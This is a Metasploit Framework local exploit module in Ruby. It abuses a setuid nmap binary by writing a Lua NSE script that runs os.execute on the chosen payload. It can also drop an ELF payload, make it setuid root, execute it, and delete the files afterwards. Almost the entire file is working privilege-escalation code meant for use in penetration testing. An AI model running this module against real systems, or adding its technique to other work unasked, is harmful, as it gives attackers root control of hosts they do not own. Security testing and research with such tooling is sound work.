##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'


class Metasploit4 < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Post::Common

  def initialize(info={})
    super( update_info( info, {
        'Name'          => 'setuid nmap "exploit"',
        'Description'   => %q{
          Nmap's man page mentions that "Nmap should never be installed with
          special privileges (e.g. suid root) for security reasons.." and
          specifically avoids making any of its binaries setuid during
          installation.  Nevertheless, administrators sometimes feel the need
          to do insecure things.  This module abuses a setuid nmap binary by
          writing out a lua nse script containing a call to os.execute().

          Note that modern interpreters will refuse to run scripts on the
          command line when EUID != UID, so the cmd/unix/reverse_{perl,ruby}
          payloads will most likely not work.
        },
        'License'       => MSF_LICENSE,
        'Author'        => [ 'egypt' ],
        'Platform'      => [ 'unix', 'linux', 'bsd' ],
        'Arch'          => [ ARCH_CMD, ARCH_X86 ],
        'SessionTypes'  => [ 'shell', 'meterpreter' ],
        'Targets'       =>
          [
            [ 'Command payload', { 'Arch' => ARCH_CMD } ],
            [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
            [ 'BSD x86',         { 'Arch' => ARCH_X86 } ],
          ],
        'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
        'DefaultTarget' => 0,
      }
      ))
    register_options([
        # These are not OptPath becuase it's a *remote* path
        OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
        OptString.new("Nmap",        [ true, "Path to setuid nmap executable", "/usr/bin/nmap" ]),
      ], self.class)
  end

  def check
    stat = session.fs.file.stat(datastore["Nmap"])
    if stat and stat.file? and stat.setuid?
      print_good("#{stat.prettymode} #{datastore["Nmap"]}")
      return CheckCode::Vulnerable
    end
    return CheckCode::Safe
  end

  def exploit
    if (target.arch.include? ARCH_CMD)
      p = payload.encoded.gsub(/([$"])/) {|m| "\\#{$1}" }
      evil_lua = %Q{ os.execute("#{p} &") }
    else
      exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.elf"
      print_status("Dropping executable #{exe_file}")
      write_file(exe_file, generate_payload_exe)
      evil_lua = %Q{
        os.execute("chown root:root #{exe_file}");
        os.execute("chmod 6777 #{exe_file}");
        os.execute("#{exe_file} &");
        os.execute("rm #{exe_file}");
      }
    end
    lua_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}.nse"
    print_status("Dropping lua #{lua_file}")
    write_file(lua_file, evil_lua)

    print_status("running")

    begin
      cmd_exec "#{datastore["Nmap"]} --script #{lua_file}"
    ensure
      cmd_exec "rm -f #{lua_file} #{exe_file}"
    end

  end
end